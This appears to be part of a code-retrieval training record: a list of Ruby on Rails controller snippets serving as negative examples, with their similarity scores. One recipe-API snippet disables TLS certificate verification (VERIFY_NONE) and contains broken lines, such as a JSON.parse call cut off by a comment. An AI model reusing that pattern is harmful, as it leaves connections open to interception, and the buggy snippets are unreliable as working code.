@ways_of_admissions }\n end\n end", "def index\n @awards = Award.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @awards }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @duck }\n end\n end", "def show\n @data = @recipe.read(params[:id])\n render json: @data\n end", "def index\n @appeals = @conference.appeals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appeals }\n end\n end", "def index\n @diet_dishes = DietDish.all\n end", "def index\n @data = Datum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end", "def index\n @decks = current_user.decks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def index\n @leases = Lease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @leases }\n end\n end", "def index\n @adversaires = Adversaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @adversaires }\n end\n end", "def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end", "def show\n @dinosaur = Dinosaur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dinosaur }\n end\n end", "def index\n @illnesses = Illness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illnesses }\n end\n end", "def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end", "def index\n @flights = Flight.all\n render json: @flights\n end", "def index\n @chairs = Chair.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chairs }\n end\n end", "def index\n @heights = Height.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heights }\n end\n end", "def show\n @dish = Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end", "def index\n \n if params[:fly_id]\n @passes = Fly.find(params[:fly_id]).passes\n elsif params[:client_id]\n @passes = Client.find(params[:client_id]).passes\n else\n @passes = Pass.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @passes }\n end\n end", "def index\n @meals = Meal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meals }\n end\n end", "def index\n @funds = Fund.all\n\n render json: @funds\n end", "def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end", "def index\n\n @dtests = Dtest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dtests }\n end\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end", "def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end", "def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end", "def index\n puts \"user: #{@current_user.json_hash[:id]}\"\n hosted_dinners = []\n attended_dinners = []\n @hosted_dinners = @current_user.hosted_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n hosted_dinners << dinner.all_info\n end\n @attended_dinners = @current_user.attended_dinners.where('starts_at >= ?', \"#{Time.now}\").order(starts_at: :asc).each do |dinner|\n attended_dinners << dinner.all_info\n end\n render json: {\n hosting: hosted_dinners,\n attending: attended_dinners\n }\n end", "def index\n weathers = Weather.all\n render json: weathers, status: 200\n end", "def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end", "def show\n client= Client.find_by_id params[:id]\n if client != nil\n render(json: client, status: 200) \n else\n head 404\n end \n end", "def index_hosting\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.hosted_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end", "def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end", "def index\n @diets = @profile.diets\n respond_with @diets\n end", "def index\n @estadios = Estadio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estadios }\n end\n end", "def index\n @kids = Kid.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kids }\n end\n end", "def index\n @heartbeats = Heartbeat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @heartbeats }\n end\n end", "def index\n @alleys = Alley.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @alleys }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json:DisAlcoholInteractionDatatable.new(view_context) }\n end\n end", "def index\n render json: Client.all\n end", "def index\n @itineraryList = Itinerary.all\n render json: @itineraryList, status: 200\n end", "def index\n @duty_stations = DutyStation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @duty_stations }\n end\n end", "def index\n return if !current_user.admin?\n @disfrazs = Disfraz.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disfrazs }\n end\n end", "def index\n @dolgnosts = Dolgnost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dolgnosts }\n end\n end", "def show\n @dress = Dress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dress }\n end\n end", "def index\n @ideas = Idea.all\n\n render json: @ideas\n end", "def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end", "def index\n render json: @fiestas\n end", "def index\n @diary_entries = DiaryEntry.all\n end", "def index\n @diary_entries = DiaryEntry.all\n end" ]
[ "0.68365806", "0.6676271", "0.6571826", "0.6405233", "0.6368298", "0.62711257", "0.61993396", "0.613877", "0.6069747", "0.6063064", "0.6053844", "0.59664583", "0.5966046", "0.595462", "0.59324247", "0.5931901", "0.5925932", "0.5886758", "0.5883489", "0.58756554", "0.5862489", "0.5852247", "0.5835113", "0.5816898", "0.5816409", "0.5808237", "0.5808237", "0.5793922", "0.57718056", "0.57717973", "0.57707906", "0.57650733", "0.5760618", "0.57472456", "0.57466936", "0.5733529", "0.57285315", "0.57231164", "0.57230204", "0.5722344", "0.571662", "0.5710774", "0.5709551", "0.57055587", "0.5699564", "0.5697501", "0.5692122", "0.5684964", "0.567865", "0.56590647", "0.5650503", "0.5637656", "0.5637041", "0.56348217", "0.56315416", "0.562868", "0.5626533", "0.56229913", "0.5621441", "0.5620673", "0.5620371", "0.5618", "0.5617876", "0.56169826", "0.56165487", "0.56164104", "0.5616159", "0.56154865", "0.5615194", "0.56064653", "0.5604733", "0.55989456", "0.55969304", "0.55888367", "0.5587578", "0.5587578", "0.5586274", "0.55809593", "0.55737644", "0.5572642", "0.5569946", "0.556955", "0.55690336", "0.55633104", "0.5562049", "0.55596495", "0.5558287", "0.555443", "0.5553789", "0.5553747", "0.5544148", "0.5542104", "0.5537464", "0.5535814", "0.55350876", "0.5534826", "0.5534359", "0.55330664", "0.55311674", "0.55311674" ]
0.6861026
0
GET /dairies/1 GET /dairies/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n\t\t@dairies = Dairy.all\n\tend", "def index\n @dices = Dice.all\n\n render json: @dices\n end", "def index\n @diaries = current_user.diaries.all\n respond_to do |format|\n format.html {render :index}\n format.json { render json: @diaries }\n end\n end", "def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end", "def index\n @my_dairies = MyDairy.all\n end", "def show\n @diary = current_user.diaries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diary }\n end\n end", "def index\n @dossiers = Dossier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dossiers }\n end\n end", "def show\n render json: @dice\n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def show\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drip }\n end\n end", "def show\n @data = @recipe.read(params[:id])\n render json: @data\n end", "def show\n @diary = Diary.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @diary }\n \n end", "def get\n @dish = Dish.find_by_id(params[:id]) || Dish.find_or_create_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @dish.id }\n end\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end", "def show\n client= Client.find_by_id params[:id]\n if client != nil\n render(json: client, status: 200) \n else\n head 404\n end \n end", "def show\n @disability = Disability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disability }\n end\n end", "def show\n render json: @diet, status: 200, root: true\n end", "def show\n @internship = Internship.find(params[:id])\n @diaries = Diary.where(:internship_id => @internship.id).paginate(:page => params[:page]).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @internship }\n end\n end", "def index\n @dnas = Dna.all\n\n render json: @dnas\n end", "def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end", "def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end", "def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end", "def show\n @disease = Disease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disease }\n end\n end", "def show\n reading = $redis.get(params[:id]) || Reading.find_by_id(params[:id])\n render :json => { info: \"No data for given reading\" } and return if reading.nil?\n render json: reading\n end", "def show\n @icome = Icome.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @icome }\n end\n end", "def show\n @formulary = Formulary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @formulary }\n end\n end", "def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @diciplinas = Diciplina.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diciplinas }\n end\n end", "def show\n @dish = Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def show\n @dato = Dato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dato }\n end\n end", "def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def show\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apprentice }\n end\n end", "def show\n dog = Dog.find(params[:id])\n render json: dog\n end", "def show\n\n recipe = Recipe.find(params[:id])\n render :json => recipe.to_json\n\n end", "def show\n reading = $redis.get(params[:id]) || Reading.find_by_id(params[:id])\n puts reading.inspect\n render status: 400, :json=>{ info: I18n.t('no_data')} and return if reading.nil?\n render status: 200, :json=>reading.reading_hash and return\n end", "def details\n @daily_deal = DailyDeal.find(params[:id])\n respond_to do |format|\n format.json do\n render with_api_version\n end\n end\n end", "def show\n @bluetooth = Bluetooth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bluetooth }\n end\n end", "def show\n @doador_animal = DoadorAnimal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @doador_animal }\n end\n end", "def show\n @daily_exercise = DailyExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @daily_exercise }\n end\n end", "def show\n @beat = Beat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beat }\n end\n end", "def index\n @clients = Client.all\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def show\n @dinosaur = Dinosaur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dinosaur }\n end\n end", "def index\n @filials = Filial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @filials }\n end\n end", "def index\n @recipes = Recipe.all\n render json: @recipes\n end", "def show\n @rainbow = Rainbow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rainbow }\n end\n end", "def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def show\n @jedi = Jedi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jedi }\n end\n end", "def show(id) \n response = request(:get, \"/recipes/#{id}.json\")\n response.first[1]\n end", "def show\n @diapo = current_church.diapos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diapo }\n end\n end", "def getbatteries\n puts params\n buildid = params[\"buildingid\"]\n\n batteries = Battery.where(:building_id => buildid)\n\n puts batteries.inspect\n puts \"#################################################\"\n \n respond_to do |format|\n format.json { render json: batteries }\n end\n end", "def index\n @birds = Bird.all.to_a\n begin\n respond_to do |format|\n format.json { render json: {items: @birds, description: \"List all visible birds in the registry\", additionalProperties: false, title: \"POST /birds [request]\",:status => OK } }\n end\n rescue => e\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end", "def index\n @deseases = Desease.order(:id)\n\n render json: @deseases\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @duck }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end", "def show\n render \"api/v1/bounties/show\"\n end", "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "def index\n if params[:patient_id]\n @patient = Patient.find(params[:patient_id])\n @diseases = @patient.diseases\n else\n @patient = nil\n @diseases = Disease.all\n end\n respond_to :html, :json, :js\n end", "def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def index\n @fiction = Fiction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fiction }\n end\n end", "def show\n\n respond_to do |format|\n format.html { # show.html.erb\n @flyer_info = FlyerInfo.find(params[:id])\n }\n format.json {\n render json: getflyer(params[:id])\n }\n end\n\n end", "def show\n params.require(%i[id])\n render json: Beverage.find_by!(id: params[:id])\n end", "def index\n @drone_attacks = DroneAttack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :layout => 'blank'}\n end\n end", "def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end", "def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end", "def index\n @days = @trip.days.order(trip_day: :asc)\n render json: @days, include: [:activities]\n end", "def show\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_odt }\n end\n end", "def show\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sabio }\n end\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "def show\n @bio_signal = BioSignal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bio_signal }\n end\n end", "def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end", "def show\n render(:json => Burn.find(params[:id]).as_json)\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"no burn with that id found}\"}, :status => 404)\n end", "def show \n bird = Bird.find_by(id: params[:id])\n if bird \n render bird.json: {id: bird.id, name: bird.name, species: bird.species}\n else \n render {\"Bird not found\"}\n end\nend", "def index\n @data = Datum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end", "def index\n @appeals = @conference.appeals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @appeals }\n end\n end", "def show\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acd }\n end\n end", "def index\n @chairs = Chair.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chairs }\n end\n end", "def show\n @dress = Dress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dress }\n end\n end", "def show\n @restaurant_dish = Restaurant::Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant_dish }\n end\n end", "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end", "def show\n\n @anime = Finder.find_anime_by_id params[:id]\n @anime ||= KiWi.show_anime params[:id]\n\n # binding.pry\n\n render json: @anime\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end", "def show\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal.recipes.find(params[:id]) if @meal\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end", "def show\n @database = Database.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @database }\n end\n end", "def show\n @beattape = Beattape.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beattape }\n end\n end", "def show\n @crate = Crate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate }\n end\n end", "def show\n @distraction = Distraction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @distraction }\n end\n end", "def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end", "def index\n @decks = Deck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end" ]
[ "0.6429982", "0.63511264", "0.62506133", "0.62188107", "0.6134505", "0.6112718", "0.61031145", "0.608416", "0.6053337", "0.5999819", "0.594923", "0.5929707", "0.59293664", "0.592666", "0.58782214", "0.5851975", "0.58457065", "0.58434844", "0.5842207", "0.5796763", "0.5786377", "0.5784412", "0.5770751", "0.57273215", "0.57247514", "0.57220554", "0.57099736", "0.5709553", "0.5707408", "0.5706758", "0.56987005", "0.5696629", "0.569571", "0.5685795", "0.56788236", "0.5667421", "0.56644", "0.5642983", "0.5641695", "0.5640471", "0.5635604", "0.56348765", "0.56337065", "0.56315887", "0.5631544", "0.5628345", "0.5624435", "0.56163377", "0.5616226", "0.561584", "0.5611835", "0.5610261", "0.5604255", "0.56039226", "0.5602579", "0.56007916", "0.5599819", "0.5598068", "0.5597337", "0.55949426", "0.55930394", "0.55924165", "0.5587825", "0.55872077", "0.5582618", "0.5577006", "0.5576295", "0.5572153", "0.5571208", "0.55653673", "0.55605257", "0.5558817", "0.55581427", "0.5556846", "0.5554072", "0.55523103", "0.55513984", "0.5549783", "0.55476123", "0.55394095", "0.55387616", "0.5538349", "0.5537997", "0.55373454", "0.55370355", "0.55300885", "0.5526218", "0.55260235", "0.55208355", "0.5520043", "0.55166125", "0.55155027", "0.5514294", "0.5513151", "0.55121875", "0.551204", "0.55097264", "0.5503881", "0.55022997", "0.55013394", "0.5500441" ]
0.0
-1
POST /dairies POST /dairies.json
def create @dairy = Dairy.new(dairy_params) for i in 0..10 if params[:repeat][i.to_s].empty? break end @dairy.attempts.build({repeats: params[:repeat][i.to_s],weight: params[:weight][i.to_s]}) end respond_to do |format| if @dairy.save format.html { redirect_to lk_today_url } format.json { render :show, status: :created, location: @dairy } else format.html { render :new } format.json { render json: @dairy.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @dice = Dice.new(dice_params)\n\n if @dice.save\n render json: @dice, status: :created, location: @dice\n else\n render json: @dice.errors, status: :unprocessable_entity\n end\n end", "def post(path, data = {})\n request 'POST', path, body: data.to_json\n end", "def create\n @diet = Diet.new(diet_params)\n @diet.user = @current_user\n\n if @diet.save\n render json: @diet, status: 201, location: @diet, root: true\n else\n render json: @diet.errors, status: 422\n end\n end", "def create\n render json: Dish.create(dish_params)\n end", "def create\n @riesgo = Riesgo.new(riesgo_params)\n\n respond_to do |format|\n if @riesgo.save\n format.html { redirect_to @riesgo, notice: 'Riesgo was successfully created.' }\n format.json { render :show, status: :created, location: @riesgo }\n else\n format.html { render :new }\n format.json { render json: @riesgo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n dive = Dive.new(dive_params)\n if dive.save\n render json: dive\n else\n render json: {message: dive.errors}, status: 400\n end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def create\n @dice = Dice.new(dice_params)\n\n respond_to do |format|\n if @dice.save\n format.html { redirect_to @dice, notice: 'Dice was successfully created.' }\n format.json { render :show, status: :created, location: @dice }\n else\n format.html { render :new }\n format.json { render json: @dice.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dino = Dino.new(dino_params)\n\n if @dino.save\n render json: @dino, status: :created, location: @dino\n else\n render json: @dino.errors, status: :unprocessable_entity\n end\n end", "def create body = {}\n @connection.request(method: :post, path: \"/secrets/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def create\n @drip = Drip.new(params[:drip])\n\n respond_to do |format|\n if @drip.save\n format.html { redirect_to @drip, notice: 'Drip was successfully created.' }\n format.json { render json: @drip, status: :created, location: @drip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dice = Dice.new(dice_params)\n\n respond_to do |format|\n if @dice.save\n format.html { redirect_to @dice, notice: \"Dice was successfully created.\" }\n format.json { render :show, status: :created, location: @dice }\n else\n form\n at.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dice.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dapi = Dapi.new(dapi_params)\n\n respond_to do |format|\n if @dapi.save\n format.html { redirect_to @dapi, notice: 'Dapi was successfully created.' }\n format.json { render :show, status: :created, location: @dapi }\n else\n format.html { render :new }\n format.json { render json: @dapi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diary = DiaryEntry.new(diary_params)\n\n respond_to do |format|\n if @diary.save\n format.html { redirect_to @diary, notice: 'Diary entry was successfully created.' }\n format.json { render :show, status: :created, location: @diary }\n else\n format.html { render :new }\n format.json { render json: @diary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @desease = Desease.new(desease_params)\n\n if @desease.save\n render json: @desease, status: :ok\n else\n render json: @desease.errors, status: :unprocessable_entity\n end\n end", "def post(path, json, params = {})\n if path.include?('covid19')\n request = Net::HTTP::Post.new(path, @headers)\n else\n request = Net::HTTP::Post.new('/v2' + path, @headers)\n end\n request.add_field('Content-Type', 'application/json')\n request.body = json\n params.each do |k, v|\n request[k] = v\n end\n send_request(request)\n end", "def create\n @diet = Diet.new(diet_params)\n\n respond_to do |format|\n if @diet.save\n format.html { redirect_to @diet, notice: 'Diet was successfully created.' }\n format.json { render :show, status: :created, location: @diet }\n else\n format.html { render :new }\n format.json { render json: @diet.errors, status: :unprocessable_entity }\n end\n end\n end", "def data_to_api(snack_name, snack_location, snack_optional)\n RestClient.post ENV['NERDERY_API'], { name: snack_name,\n location: snack_location,\n optional: snack_optional\n }.to_json, content_type: :json\n end", "def create\n @kf_diary = Kf::Diary.new(params[:kf_diary])\n\n respond_to do |format|\n if @kf_diary.save\n format.html { redirect_to kf_diaries_url({:page => params[:page]}), notice: 'Diary was successfully created.' }\n format.json { render json: @kf_diary, status: :created, location: @kf_diary }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kf_diary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dia_evento = DiaEvento.new(dia_evento_params)\n\n if @dia_evento.save\n render json: @dia_evento, status: :created, location: @dia_evento\n else\n render json: @dia_evento.errors, status: :unprocessable_entity\n end\n end", "def post_route(payload)\n with_rescue do\n payload = payload.to_json if payload.is_a?(Hash)\n connection.post do 